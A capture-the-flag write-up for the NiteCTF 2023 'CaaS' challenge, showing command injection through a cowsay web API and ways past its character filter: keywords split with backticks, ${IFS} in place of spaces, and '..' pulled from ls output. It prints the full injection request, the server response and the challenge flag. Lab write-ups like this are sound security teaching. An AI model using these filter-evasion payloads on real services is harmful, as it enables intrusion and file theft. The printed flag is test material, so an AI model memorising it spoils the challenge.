NiteCTF 2023 : CaaS

Context

We are given a link (http://caas.web.nitectf.live/) and the path to the flag which is /etc/cowsay/falg.txt.

We are greeted on a page that gives the link to an API endpoint at /cowsay/{text_to_print}. Cowsay is just a linux command just like echo but with a cow instead...

$ cowsay hello
 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Writeup

So we already that it's going to be a command injection. If we try to request /cowsay/hello;ls, we get :

$ curl "http://caas.web.nitectf.live/
cowsay/hello;ls"
 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
cowthink

But if we try a few other things, we find out that we can't use the characters and keywords : "<SPACE>",".","/","flag","env", "/" and others. If we do try, we'll have the cow say this :

 ___________________________
< Whoops! I cannot say that >
 ---------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

So we need to find a trick to bypass those filters : - The first trick is to add `` or $() in the middle for words that are strictly larger than two characters. For example, we could request /cowsay/en``v. - The second trick is to bypass the space character and in order to do so we can use ${IFS} which is the internal field seperator of bash. - The third trick, the trickiest of all, enables us to use .. This one has many solutions but the way I did it is to use ls's output to retrieve .. with sed or cut like so :

$ ls -a | cut -d$'\n' -f2
..
$  ls -a | sed '2q;d'
..

So if applied this payload :

cd ..;cd ..;cd e``t``c;cd cowsay;ls;cat *

Becomes this request :

cd${IFS}$(ls${IFS}-a|s``ed${IFS}'2q;d');cd${IFS}$(ls${IFS}-a|s``ed${IFS}'2q;d');cd${I
FS}e``t``c;cd${IFS}cowsay;ls;cat${IFS}*

And there, we go we send it to the endpoint and we get this reponse :

Request :
GET /cowsay/aa;cd${IFS}$(ls${IFS}-a|s``ed${IFS}'2q;d');cd${IFS}$(ls${IFS}a|s``ed${IFS}'2q;d');cd${IFS}e``t``c;cd${IFS}cowsay;ls;cat${IFS}* HTTP/1.1

Response :
HTTP/1.1 200 OK
date: Wed, 20 Dec 2023 04:33:24 GMT
content-length: 192
content-type: text/plain; charset=utf-8
Connection: close

 ____
< aa >
 ----
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
falg.txt
nite{9wd_t0_th3_r35cu3_dp54kf_ud9j3od3w}